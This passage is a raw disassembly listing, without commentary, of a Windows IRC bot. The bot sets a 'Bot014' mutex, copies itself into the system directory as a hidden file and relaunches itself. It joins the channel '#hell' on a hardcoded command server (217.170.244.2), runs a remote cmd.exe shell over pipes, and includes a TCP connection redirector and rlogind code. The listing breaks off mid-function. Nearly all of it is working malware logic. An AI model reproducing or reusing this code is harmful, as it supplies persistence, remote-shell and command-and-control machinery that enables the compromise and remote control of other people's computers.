mov [ebp+var_8], offset sub_402E5D push [ebp+var_8] push large dword ptr fs:0 mov large fs:0, esp mov esi, ds:dword_420004 call esi ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov dword_47BF18, eax call esi ; GetTickCount push eax call sub_4145C4 pop ecx call sub_405770 push 2 call dword_4357E0 ; SetErrorMode push 7530h push offset aBot014 ; "Bot014" push ebx push ebx call ds:dword_420104 ; CreateMutexA push eax call ds:dword_420100 ; WaitForSingleObject cmp eax, 102h jnz short loc_40E73A push 1 jmp loc_40E99A ; --------------------------------------------------------------------------- loc_40E73A: ; CODE XREF: sub_40E6BB+76j lea eax, [ebp+var_888] push eax push 202h call dword_435818 ; WSAStartup cmp eax, ebx mov [ebp+var_8], eax jnz loc_40EC07 cmp [ebp+var_888], 2 jnz loc_40EC01 cmp [ebp+var_887], 2 jnz loc_40EC01 mov esi, 104h push esi lea eax, [ebp+var_3F4] push eax call ds:dword_420048 ; GetSystemDirectoryA push esi lea eax, [ebp+var_2F0] push eax push ebx call ds:dword_4200A4 ; GetModuleHandleA push eax call ds:dword_420010 ; GetModuleFileNameA lea eax, [ebp+var_5F8] push eax lea eax, [ebp+var_6F8] push eax push ebx lea eax, [ebp+var_2F0] push ebx push eax call sub_415B3D lea eax, [ebp+var_5F8] push eax lea eax, [ebp+var_6F8] push eax push offset aSS ; "%s%s" lea eax, [ebp+var_4F8] push esi push eax call sub_41466D lea eax, [ebp+var_3F4] push eax lea eax, [ebp+var_2F0] push eax call sub_414EE0 add esp, 30h test eax, eax jnz loc_40E9A0 cmp dword_47BF1C, ebx mov esi, offset byte_42BF4C jz short loc_40E842 mov eax, esi xor edi, edi lea ecx, [eax+1] loc_40E808: ; CODE XREF: sub_40E6BB+152j mov dl, [eax] inc eax cmp dl, bl jnz short loc_40E808 sub eax, ecx add eax, 0FFFFFFFAh test eax, eax jbe short loc_40E842 loc_40E818: ; CODE XREF: sub_40E6BB+185j call sub_4145D1 cdq push 1Ah pop ecx idiv ecx mov eax, esi lea ecx, [eax+1] add dl, 61h mov byte_42BF4C[edi], dl inc edi loc_40E832: ; CODE XREF: sub_40E6BB+17Cj mov dl, [eax] inc eax cmp dl, bl jnz short loc_40E832 sub eax, ecx add eax, 0FFFFFFFAh cmp edi, eax jb short loc_40E818 loc_40E842: ; CODE XREF: sub_40E6BB+144j ; sub_40E6BB+15Bj push esi lea eax, [ebp+var_3F4] push eax lea eax, [ebp+var_1EC] push offset aSS_0 ; "%s\\%s" push eax call sub_414415 add esp, 10h lea eax, [ebp+var_1EC] push eax call ds:dword_4200A0 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_40E882 push 80h lea eax, [ebp+var_1EC] push eax call ds:dword_4200CC ; SetFileAttributesA loc_40E882: ; CODE XREF: sub_40E6BB+1B3j mov esi, ds:dword_420000 push 7D0h call esi ; Sleep mov edi, ds:dword_4200FC mov [ebp+var_4], ebx jmp short loc_40E8BD ; --------------------------------------------------------------------------- loc_40E89A: ; CODE XREF: sub_40E6BB+215j call ds:dword_420008 ; RtlGetLastWin32Error cmp [ebp+var_4], ebx jnz short loc_40E8D2 cmp eax, 20h jz short loc_40E8AF cmp eax, 5 jnz short loc_40E8D2 loc_40E8AF: ; CODE XREF: sub_40E6BB+1EDj push 3A98h mov [ebp+var_4], 1 call esi ; Sleep loc_40E8BD: ; CODE XREF: sub_40E6BB+1DDj push ebx lea eax, [ebp+var_1EC] push eax lea eax, [ebp+var_2F0] push eax call edi ; CopyFileA test eax, eax jz short loc_40E89A loc_40E8D2: ; CODE XREF: sub_40E6BB+1E8j ; sub_40E6BB+1F2j lea eax, [ebp+var_1EC] push eax call sub_406931 pop ecx push 7 lea eax, [ebp+var_1EC] push eax call ds:dword_4200CC ; SetFileAttributesA xor eax, eax lea edi, [ebp+var_24] stosd stosd stosd stosd push 11h pop ecx xor eax, eax lea edi, [ebp+var_68] rep stosd xor edi, edi inc edi mov [ebp+var_5C], 420AEAh mov [ebp+var_68], 44h mov [ebp+var_3C], edi mov [ebp+var_38], bx call ds:dword_4200F8 ; GetCurrentProcessId push eax push edi push 100000h call ds:dword_420078 ; OpenProcess lea ecx, [ebp+var_2F0] push ecx push eax lea eax, [ebp+var_1EC] push eax lea eax, [ebp+var_98C] push offset aSDS ; "%s %d \"%s\"" push eax call sub_414415 add esp, 14h lea eax, [ebp+var_24] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_3F4] push eax push ebx push 28h push edi push ebx push ebx lea eax, [ebp+var_98C] push eax lea eax, [ebp+var_1EC] push eax call ds:dword_420038 ; CreateProcessA test eax, eax jz short loc_40E9A6 push 0C8h call esi ; Sleep push [ebp+var_24] mov esi, ds:dword_42003C call esi ; CloseHandle push [ebp+var_20] call esi ; CloseHandle call dword_435920 ; WSACleanup push ebx loc_40E99A: ; CODE XREF: sub_40E6BB+7Aj call ds:dword_420034 ; ExitProcess loc_40E9A0: ; CODE XREF: sub_40E6BB+133j mov esi, ds:dword_420000 loc_40E9A6: ; CODE XREF: sub_40E6BB+2BFj cmp dword_47C1D8, 2 jle short loc_40E9EE mov eax, dword_47C1DC push dword ptr [eax+4] call sub_4147A2 pop ecx mov edi, eax push 0FFFFFFFFh push edi call ds:dword_420100 ; WaitForSingleObject push edi call ds:dword_42003C ; CloseHandle mov eax, dword_47C1DC cmp [eax+8], ebx jz short loc_40E9EE push 7D0h call esi ; Sleep mov eax, dword_47C1DC push dword ptr [eax+8] call ds:dword_4200E4 ; DeleteFileA loc_40E9EE: ; CODE XREF: sub_40E6BB+2F2j ; sub_40E6BB+31Cj cmp dword_42BECC, ebx jz short loc_40EA0B cmp dword_435968, ebx jnz short loc_40EA0B lea eax, [ebp+var_4F8] push eax call sub_40213F pop ecx loc_40EA0B: ; CODE XREF: sub_40E6BB+339j ; sub_40E6BB+341j lea eax, [ebp+var_E8] push offset aMainBotStarted ; "[MAIN]: Bot started." push eax call sub_414415 push ebx lea eax, [ebp+var_E8] push ebx push eax call sub_41229A lea eax, [ebp+var_E8] push eax call sub_401EFF xor eax, eax mov ecx, 2E0h mov edi, offset dword_47B398 rep stosd lea eax, [ebp+var_E8] push offset aSecureSystemSe ; "[SECURE]: System secure monitor active."... push eax call sub_414415 push ebx lea eax, [ebp+var_E8] push 1Ah push eax call sub_41229A add esp, 2Ch mov edi, eax lea eax, [ebp+var_10] push eax push ebx push ebx push offset sub_4104D1 push ebx push ebx call ds:dword_42000C ; CreateThread imul edi, 234h cmp eax, ebx mov dword_4366B4[edi], eax jnz short loc_40EAA7 call ds:dword_420008 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_E8] push offset aSecureFailedTo ; "[SECURE]: Failed to start secure thread"... push eax call sub_414415 add esp, 0Ch loc_40EAA7: ; CODE XREF: sub_40E6BB+3CFj lea eax, [ebp+var_E8] push eax call sub_401EFF push 7Fh push offset a217_170_244_2 ; "217.170.244.2" push offset dword_47B234 mov dword_47BF28, ebx call sub_4144A0 mov eax, dword_42BEB0 push 3Fh push offset aHell ; "#hell" mov esi, offset dword_47B2B4 push esi mov dword_47B384, eax call sub_4144A0 push 3Fh push offset aTroopers ; "troopers" mov edi, offset dword_47B2F4 push edi call sub_4144A0 add esp, 28h mov dword_47B388, ebx loc_40EB01: ; CODE XREF: sub_40E6BB+4ECj ; sub_40E6BB+4F7j ... mov [ebp+var_4], ebx loc_40EB04: ; CODE XREF: sub_40E6BB+4A0j cmp dword_435980, ebx jnz short loc_40EB22 push ebx lea eax, [ebp+var_14] push eax call dword_435790 ; InternetGetConnectedState test eax, eax jnz short loc_40EB22 push 7530h jmp short loc_40EB4E ; --------------------------------------------------------------------------- loc_40EB22: ; CODE XREF: sub_40E6BB+44Fj ; sub_40E6BB+45Ej push offset dword_47B230 mov dword_47BF24, ebx call sub_40887D cmp eax, 2 mov [ebp+var_8], eax jz loc_40EBFC cmp dword_47BF24, ebx jz short loc_40EB49 dec [ebp+var_4] loc_40EB49: ; CODE XREF: sub_40E6BB+489j push 0BB8h loc_40EB4E: ; CODE XREF: sub_40E6BB+465j call ds:dword_420000 ; Sleep inc [ebp+var_4] cmp [ebp+var_4], 3 jl short loc_40EB04 cmp [ebp+var_8], 2 jz loc_40EBFC cmp [ebp+var_C], ebx jz short loc_40EBAC push 7Fh push offset a217_170_244_2 ; "217.170.244.2" push offset dword_47B234 call sub_4144A0 mov eax, dword_42BEB0 push 3Fh push offset aHell ; "#hell" push esi mov dword_47B384, eax call sub_4144A0 push 3Fh push offset aTroopers ; "troopers" push edi call sub_4144A0 add esp, 24h mov [ebp+var_C], ebx jmp loc_40EB01 ; --------------------------------------------------------------------------- loc_40EBAC: ; CODE XREF: sub_40E6BB+4AFj cmp byte_42BF20, bl jz loc_40EB01 push 7Fh push offset byte_42BF20 push offset dword_47B234 call sub_4144A0 mov eax, dword_42BEB4 push 3Fh push offset aHell_1 ; "#hell" push esi mov dword_47B384, eax call sub_4144A0 push 3Fh push offset aTroopers_0 ; "troopers" push edi call sub_4144A0 add esp, 24h mov [ebp+var_C], 1 jmp loc_40EB01 ; --------------------------------------------------------------------------- loc_40EBFC: ; CODE XREF: sub_40E6BB+47Dj ; sub_40E6BB+4A6j call sub_41240B loc_40EC01: ; CODE XREF: sub_40E6BB+A3j ; sub_40E6BB+B0j call dword_435920 ; WSACleanup loc_40EC07: ; CODE XREF: sub_40E6BB+96j pop edi pop esi xor eax, eax pop ebx leave retn 10h sub_40E6BB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40EC10 proc near ; DATA XREF: sub_40ECAB+12Co var_1128 = byte ptr -1128h var_128 = byte ptr -128h var_14 = dword ptr -14h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1128h call sub_414630 mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp+var_128] rep movsd mov esi, [ebp+var_14] mov dword ptr [eax+124h], 1 imul esi, 234h mov ebx, 1000h jmp short loc_40EC65 ; --------------------------------------------------------------------------- loc_40EC4A: ; CODE XREF: sub_40EC10+7Bj push 0 push eax lea eax, [ebp+var_1128] push eax push dword_4366AC[esi] call dword_43589C ; send cmp eax, 0FFFFFFFFh jz short loc_40EC8D loc_40EC65: ; CODE XREF: sub_40EC10+38j xor eax, eax push eax lea edi, [ebp+var_1128] mov ecx, 400h rep stosd push ebx lea eax, [ebp+var_1128] push eax push dword_4366B0[esi] call dword_43577C ; recv test eax, eax jg short loc_40EC4A loc_40EC8D: ; CODE XREF: sub_40EC10+53j push dword_4366B0[esi] call dword_435914 ; closesocket push [ebp+var_14] call sub_41255E pop ecx push 0 call ds:dword_420014 ; ExitThread int 3 ; Trap to Debugger sub_40EC10 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40ECAB proc near ; DATA XREF: sub_40EE88+118o var_1344 = byte ptr -1344h var_344 = byte ptr -344h var_144 = byte ptr -144h var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1344h call sub_414630 mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp+var_144] rep movsd mov esi, [ebp+var_30] xor ecx, ecx inc ecx push 6 push ecx push 2 mov [eax+120h], ecx mov [ebp+var_4], esi call dword_435808 ; socket xor ebx, ebx cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_40EE0A push [ebp+var_3C] xor eax, eax lea edi, [ebp+var_18] stosd stosd stosd stosd mov [ebp+var_18], 2 call dword_435954 ; htons mov [ebp+var_16], ax lea eax, [ebp+var_13C] push eax call dword_43587C ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_40ED33 lea eax, [ebp+var_13C] push eax call dword_435868 ; gethostbyname jmp short loc_40ED41 ; --------------------------------------------------------------------------- loc_40ED33: ; CODE XREF: sub_40ECAB+77j push 2 push 4 lea eax, [ebp+var_8] push eax call dword_4358F8 ; gethostbyaddr loc_40ED41: ; CODE XREF: sub_40ECAB+86j cmp eax, ebx jz loc_40EE0A mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_14], eax push 10h lea eax, [ebp+var_18] push eax push [ebp+arg_0] call dword_4357C0 ; connect cmp eax, 0FFFFFFFFh jz loc_40EE0A push [ebp+var_34] movzx eax, [ebp+var_16] push eax push [ebp+var_14] mov [ebp+var_20], ebx call dword_435888 ; inet_ntoa push eax lea eax, [ebp+var_344] push offset aRedirectClient ; "[REDIRECT]: Client connection to IP: %s"... push eax call sub_414415 push [ebp+arg_0] lea eax, [ebp+var_344] push 11h push eax call sub_41229A imul esi, 234h mov ecx, [ebp+var_34] mov [ebp+var_30], eax imul eax, 234h mov dword_4366A4[eax], ecx add esp, 20h lea esi, dword_4366AC[esi] mov ecx, [esi] mov dword_4366B0[eax], ecx lea eax, [ebp+var_1C] push eax push ebx lea eax, [ebp+var_144] push eax push offset sub_40EC10 push ebx push ebx call ds:dword_42000C ; CreateThread mov ecx, [ebp+var_30] imul ecx, 234h cmp eax, ebx mov dword_4366B4[ecx], eax jnz short loc_40EE40 call ds:dword_420008 ; RtlGetLastWin32Error push eax push offset aRedirectFail_0 ; "[REDIRECT]: Failed to start connection "... call sub_401F73 pop ecx pop ecx loc_40EE0A: ; CODE XREF: sub_40ECAB+42j ; sub_40ECAB+98j ... mov eax, [ebp+var_4] imul eax, 234h push dword_4366AC[eax] call dword_435914 ; closesocket push [ebp+arg_0] call dword_435914 ; closesocket push [ebp+var_4] call sub_41255E pop ecx push ebx call ds:dword_420014 ; ExitThread loc_40EE38: ; CODE XREF: sub_40ECAB+198j push 32h call ds:dword_420000 ; Sleep loc_40EE40: ; CODE XREF: sub_40ECAB+14Aj cmp [ebp+var_20], ebx jz short loc_40EE38 jmp short loc_40EE5E ; --------------------------------------------------------------------------- loc_40EE47: ; CODE XREF: sub_40ECAB+1D9j push ebx push eax lea eax, [ebp+var_1344] push eax push [ebp+arg_0] call dword_43589C ; send cmp eax, 0FFFFFFFFh jz short loc_40EE0A loc_40EE5E: ; CODE XREF: sub_40ECAB+19Aj xor eax, eax push ebx lea edi, [ebp+var_1344] mov ecx, 400h rep stosd push 1000h lea eax, [ebp+var_1344] push eax push dword ptr [esi] call dword_43577C ; recv cmp eax, ebx jg short loc_40EE47 jmp short loc_40EE0A sub_40ECAB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EE88 proc near ; DATA XREF: sub_4089DC+2758o var_34C = byte ptr -34Ch var_14C = byte ptr -14Ch var_148 = dword ptr -148h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = byte ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 34Ch mov eax, [ebp+arg_0] push ebx push esi push edi mov esi, eax push 4Ah pop ecx lea edi, [ebp+var_14C] rep movsd push [ebp+var_40] xor esi, esi inc esi mov [eax+120h], esi xor eax, eax lea edi, [ebp+var_10] stosd stosd stosd stosd mov [ebp+var_10], 2 call dword_435954 ; htons push 6 push esi xor ebx, ebx push 2 mov [ebp+var_E], ax mov [ebp+var_C], ebx mov [ebp+arg_0], 10h call dword_435808 ; socket mov edi, eax cmp edi, 0FFFFFFFFh jz loc_40EFE7 mov eax, [ebp+var_3C] imul eax, 234h push esi push 401h push ebx push edi mov dword_4366AC[eax], edi call dword_435894 ; WSAAsyncSelect push 10h lea eax, [ebp+var_10] push eax push edi call dword_4358E0 ; bind test eax, eax jnz loc_40EFE7 push 0Ah push edi call dword_435928 ; listen test eax, eax jnz loc_40EFE7 loc_40EF2E: ; CODE XREF: sub_40EE88+BAj ; sub_40EE88+15Aj lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_24] push eax push edi call dword_4357CC ; accept mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40EF2E push [ebp+var_3C] movzx eax, [ebp+var_22] push eax push [ebp+var_20] mov [ebp+var_148], esi mov [ebp+var_2C], ebx call dword_435888 ; inet_ntoa push eax lea eax, [ebp+var_34C] push offset aRedirectClie_0 ; "[REDIRECT]: Client connection from IP: "... push eax call sub_414415 push esi lea eax, [ebp+var_34C] push 11h push eax call sub_41229A mov ecx, [ebp+var_3C] mov [ebp+var_38], eax imul eax, 234h add esp, 20h mov dword_4366A4[eax], ecx lea eax, [ebp+var_14] push eax push ebx lea eax, [ebp+var_14C] push eax push offset sub_40ECAB push ebx push ebx call ds:dword_42000C ; CreateThread mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, ebx mov dword_4366B4[ecx], eax jnz short loc_40EFDD call ds:dword_420008 ; RtlGetLastWin32Error push eax push offset aRedirectFail_1 ; "[REDIRECT]: Failed to start client thre"... call sub_401F73 pop ecx pop ecx jmp short loc_40EFEA ; --------------------------------------------------------------------------- loc_40EFD5: ; CODE XREF: sub_40EE88+158j push 32h call ds:dword_420000 ; Sleep loc_40EFDD: ; CODE XREF: sub_40EE88+136j cmp [ebp+var_2C], ebx jz short loc_40EFD5 jmp loc_40EF2E ; --------------------------------------------------------------------------- loc_40EFE7: ; CODE XREF: sub_40EE88+5Dj ; sub_40EE88+8Fj ... mov esi, [ebp+arg_0] loc_40EFEA: ; CODE XREF: sub_40EE88+14Bj push esi call dword_435914 ; closesocket push edi call dword_435914 ; closesocket push [ebp+var_3C] call sub_41255E pop ecx push ebx call ds:dword_420014 ; ExitThread int 3 ; Trap to Debugger sub_40EE88 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40F009 proc near ; CODE XREF: sub_40F039+30p ; sub_40F077+85p ... mov eax, dword_47BF38 cmp eax, 0FFFFFFFFh push esi mov esi, ds:dword_42003C jz short loc_40F01D push eax call esi ; CloseHandle loc_40F01D: ; CODE XREF: sub_40F009+Fj mov eax, dword_47BF34 cmp eax, 0FFFFFFFFh jz short loc_40F02A push eax call esi ; CloseHandle loc_40F02A: ; CODE XREF: sub_40F009+1Cj mov eax, dword_47BF70 cmp eax, 0FFFFFFFFh jz short loc_40F037 push eax call esi ; CloseHandle loc_40F037: ; CODE XREF: sub_40F009+29j pop esi retn sub_40F009 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F039 proc near ; CODE XREF: sub_4089DC+3845p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea edx, [eax+1] loc_40F043: ; CODE XREF: sub_40F039+Fj mov cl, [eax] inc eax test cl, cl jnz short loc_40F043 push 0 lea ecx, [ebp+var_4] push ecx sub eax, edx push eax push [ebp+arg_0] mov [ebp+var_4], eax push dword_47BF2C call ds:dword_420040 ; WriteFile test eax, eax jnz short loc_40F072 call sub_40F009 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40F072: ; CODE XREF: sub_40F039+2Ej xor eax, eax inc eax leave retn sub_40F039 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F077 proc near ; CODE XREF: sub_40F105+D9p ; sub_40F105+11Fp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi mov esi, [ebp+arg_4] xor ecx, ecx push edi inc ecx mov edi, 420AEAh xor eax, eax repe cmpsb pop edi pop esi jz short loc_40F0BC push 0FAh call ds:dword_420000 ; Sleep push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_414415 add esp, 10h jmp short loc_40F0D3 ; --------------------------------------------------------------------------- loc_40F0BC: ; CODE XREF: sub_40F077+1Cj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_2 ; "%s" push eax call sub_414415 add esp, 0Ch loc_40F0D3: ; CODE XREF: sub_40F077+43j lea eax, [ebp+var_200] lea edx, [eax+1] loc_40F0DC: ; CODE XREF: sub_40F077+6Aj mov cl, [eax] inc eax test cl, cl jnz short loc_40F0DC push 0 sub eax, edx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_43589C ; send test eax, eax jg short loc_40F101 call sub_40F009 loc_40F101: ; CODE XREF: sub_40F077+83j xor eax, eax leave retn sub_40F077 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F105 proc near ; DATA XREF: sub_40F292+16Ao var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi xor eax, eax mov ebx, 80h mov ecx, ebx lea edi, [ebp+var_20C] rep stosd xor edi, edi push edi push edi lea eax, [ebp+var_4] push eax mov esi, 200h push esi lea eax, [ebp+var_20C] push eax push dword_47BF38 call ds:dword_42010C ; PeekNamedPipe test eax, eax jz loc_40F214 jmp short loc_40F14F ; --------------------------------------------------------------------------- loc_40F14D: ; CODE XREF: sub_40F105+109j xor edi, edi loc_40F14F: ; CODE XREF: sub_40F105+46j cmp [ebp+var_4], edi jnz short loc_40F17F lea eax, [ebp+var_8] push eax push dword_47BF70 call ds:dword_420108 ; GetExitCodeProcess test eax, eax jz short loc_40F175 cmp [ebp+var_8], 103h jnz loc_40F241 loc_40F175: ; CODE XREF: sub_40F105+61j push 0Ah call ds:dword_420000 ; Sleep jmp short loc_40F1E6 ; --------------------------------------------------------------------------- loc_40F17F: ; CODE XREF: sub_40F105+4Dj xor eax, eax cmp [ebp+var_4], edi jbe short loc_40F19A loc_40F186: ; CODE XREF: sub_40F105+93j cmp [ebp+eax+var_20C], 0Ah jz loc_40F238 inc eax cmp eax, [ebp+var_4] jb short loc_40F186 loc_40F19A: ; CODE XREF: sub_40F105+7Fj mov [ebp+var_4], esi loc_40F19D: ; CODE XREF: sub_40F105+137j xor eax, eax push eax mov ecx, ebx lea edi, [ebp+var_20C] rep stosd lea eax, [ebp+var_C] push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_47BF38 call ds:dword_42008C ; ReadFile test eax, eax jz loc_40F269 lea eax, [ebp+var_20C] push eax push offset dword_47BF3C push dword_47BF30 call sub_40F077 add esp, 0Ch loc_40F1E6: ; CODE XREF: sub_40F105+78j xor eax, eax push eax push eax mov ecx, ebx lea edi, [ebp+var_20C] rep stosd lea eax, [ebp+var_4] push eax push esi lea eax, [ebp+var_20C] push eax push dword_47BF38 call ds:dword_42010C ; PeekNamedPipe test eax, eax jnz loc_40F14D loc_40F214: ; CODE XREF: sub_40F105+40j push offset aCmdCouldNotRea ; "[CMD]: Could not read data from procces"... push offset dword_47BF3C push dword_47BF30 call sub_40F077 push [ebp+arg_0] call sub_41255E add esp, 10h push 1 jmp short loc_40F28B ; --------------------------------------------------------------------------- loc_40F238: ; CODE XREF: sub_40F105+89j inc eax mov [ebp+var_4], eax jmp loc_40F19D ; --------------------------------------------------------------------------- loc_40F241: ; CODE XREF: sub_40F105+6Aj call sub_40F009 push offset aCmdProccessHas ; "[CMD]: Proccess has terminated.\r\n" push offset dword_47BF3C push dword_47BF30 call sub_40F077 push [ebp+arg_0] call sub_41255E add esp, 10h push edi jmp short loc_40F28B ; --------------------------------------------------------------------------- loc_40F269: ; CODE XREF: sub_40F105+C1j push offset aCmdCouldNotR_0 ; "[CMD]: Could not read data from procces"... push offset dword_47BF3C push dword_47BF30 call sub_40F077 push [ebp+arg_0] call sub_41255E add esp, 10h push 0 loc_40F28B: ; CODE XREF: sub_40F105+131j ; sub_40F105+162j call ds:dword_420014 ; ExitThread int 3 ; Trap to Debugger sub_40F105 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F292 proc near ; CODE XREF: sub_4089DC+4655p var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push esi call sub_40F009 xor esi, esi push esi lea eax, [ebp+var_178] push eax push 104h push esi push offset aCmd_exe ; "cmd.exe" push esi call dword_435828 ; SearchPathA test eax, eax jnz short loc_40F2C9 or eax, 0FFFFFFFFh jmp loc_40F43E ; --------------------------------------------------------------------------- loc_40F2C9: ; CODE XREF: sub_40F292+2Dj push ebx push edi mov edi, ds:dword_420114 push esi lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_C] push eax xor ebx, ebx lea eax, [ebp+var_10] inc ebx push eax mov [ebp+var_1C], 0Ch mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi ; CreatePipe test eax, eax jnz short loc_40F2FC loc_40F2F4: ; CODE XREF: sub_40F292+7Bj ; sub_40F292+9Dj ... or eax, 0FFFFFFFFh jmp loc_40F43C ; --------------------------------------------------------------------------- loc_40F2FC: ; CODE XREF: sub_40F292+60j push esi lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi ; CreatePipe test eax, eax jz short loc_40F2F4 mov edi, ds:dword_4200E0 push 3 push esi push esi push offset dword_47BF2C call edi ; GetCurrentProcess push eax push [ebp+var_8] call edi ; GetCurrentProcess push eax call ds:dword_420110 ; DuplicateHandle test eax, eax jz short loc_40F2F4 xor eax, eax lea edi, [ebp+var_2C] stosd stosd stosd push 11h pop ecx stosd xor eax, eax lea edi, [ebp+var_74] rep stosd mov eax, [ebp+var_4] mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi push esi mov ebx, 420AEAh push ebx lea eax, [ebp+var_178] push eax mov [ebp+var_74], 44h mov [ebp+var_48], 101h mov [ebp+var_44], si call ds:dword_420038 ; CreateProcessA test eax, eax jz loc_40F2F4 push [ebp+var_4] mov edi, ds:dword_42003C call edi ; CloseHandle mov eax, [ebp+var_10] push [ebp+var_28] mov dword_47BF38, eax mov eax, [ebp+var_8] mov dword_47BF34, eax mov eax, [ebp+var_2C] mov dword_47BF70, eax call edi ; CloseHandle cmp [ebp+arg_4], esi mov eax, [ebp+arg_0] mov dword_47BF30, eax jz short loc_40F3C8 push [ebp+arg_4] jmp short loc_40F3C9 ; --------------------------------------------------------------------------- loc_40F3C8: ; CODE XREF: sub_40F292+12Fj push ebx loc_40F3C9: ; CODE XREF: sub_40F292+134j push offset dword_47BF3C call sub_414415 pop ecx pop ecx push esi push 8 push offset aCmdRemoteComma ; "[CMD]: Remote Command Prompt" call sub_41229A mov ecx, [ebp+var_24] mov edi, eax imul edi, 234h add esp, 0Ch mov dword_4366A8[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_40F105 push esi push esi call ds:dword_42000C ; CreateThread cmp eax, esi mov dword_4366B4[edi], eax jnz short loc_40F43A call ds:dword_420008 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_378] push offset aCmdFailedToSta ; "[CMD]: Failed to start IO thread, error"... push eax call sub_414415 lea eax, [ebp+var_378] push eax call sub_401EFF add esp, 10h loc_40F43A: ; CODE XREF: sub_40F292+17Fj xor eax, eax loc_40F43C: ; CODE XREF: sub_40F292+65j pop edi pop ebx loc_40F43E: ; CODE XREF: sub_40F292+32j pop esi leave retn sub_40F292 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F441 proc near ; CODE XREF: sub_40F4D9+A6p ; sub_40F4D9+B6p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi mov esi, eax loc_40F448: ; CODE XREF: sub_40F441+2Aj push 0 push 1 lea eax, [ebp+var_1] push eax push [ebp+arg_0] call dword_43577C ; recv cmp eax, 1 jnz short loc_40F47E mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_4] jz short loc_40F473 test al, al jnz short loc_40F448 xor eax, eax inc eax loc_40F470: ; CODE XREF: sub_40F441+3Fj pop esi leave retn ; --------------------------------------------------------------------------- loc_40F473: ; CODE XREF: sub_40F441+26j push offset aRlogindProtoco ; "[RLOGIND]: Protocol string too long." call sub_401F73 pop ecx loc_40F47E: ; CODE XREF: sub_40F441+1Bj xor eax, eax jmp short loc_40F470 sub_40F441 endp ; =============== S U B R O U T I N E ======================================= sub_40F482 proc near ; DATA XREF: sub_40F6E5+5Ao arg_0 = dword ptr 4 xor eax, eax cmp [esp+arg_0], eax setz al retn sub_40F482 endp ; =============== S U B R O U T I N E ======================================= sub_40F48C proc near ; CODE XREF: sub_40F4D9+175p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_40F491: ; CODE XREF: sub_40F48C+21j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_40F4B3 test cl, cl jz short loc_40F4AF 